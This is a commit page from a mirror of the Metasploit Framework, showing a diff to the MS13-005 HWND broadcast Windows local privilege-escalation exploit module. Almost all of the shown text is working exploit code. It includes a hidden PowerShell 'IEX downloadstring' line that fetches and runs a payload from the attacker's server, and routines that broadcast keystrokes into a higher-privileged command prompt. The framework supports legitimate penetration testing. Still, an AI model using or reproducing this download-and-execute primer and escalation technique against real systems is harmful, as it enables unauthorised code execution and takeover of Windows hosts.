infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #2468 - Hwnd Broadcast Performance

bug/bundler_fix
sinn3r 2013-10-22 17:03:02 -05:00
parent 079c82d11d a843722ae3
commit af174639cd
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
1 changed files with 7 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

13
modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
View File

@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Local
if datastore['CUSTOM_COMMAND'] if datastore['CUSTOM_COMMAND']
command = datastore['CUSTOM_COMMAND'] command = datastore['CUSTOM_COMMAND']
else else
print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload") print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
command = cmd_psh_payload(payload.encoded) command = cmd_psh_payload(payload.encoded)
end end
make_it(command) make_it(command)
@ -171,7 +171,7 @@ class Metasploit3 < Msf::Exploit::Local
def primer def primer
url = get_uri() url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}" command = "powershell.exe -w hidden -nop -c #{download_and_run}"
make_it(command) make_it(command)
end end
@ -210,13 +210,14 @@ class Metasploit3 < Msf::Exploit::Local
end end
print_status("Broadcasting payload command to prompt... I hope the user is asleep!") print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
multi_rail = []
command.each_char do |c| command.each_char do |c|
print c if command.length < 200 multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]]
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
end end
print_line
multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]]
print_status("Executing command...") print_status("Executing command...")
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0) client.railgun.multi(multi_rail)
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)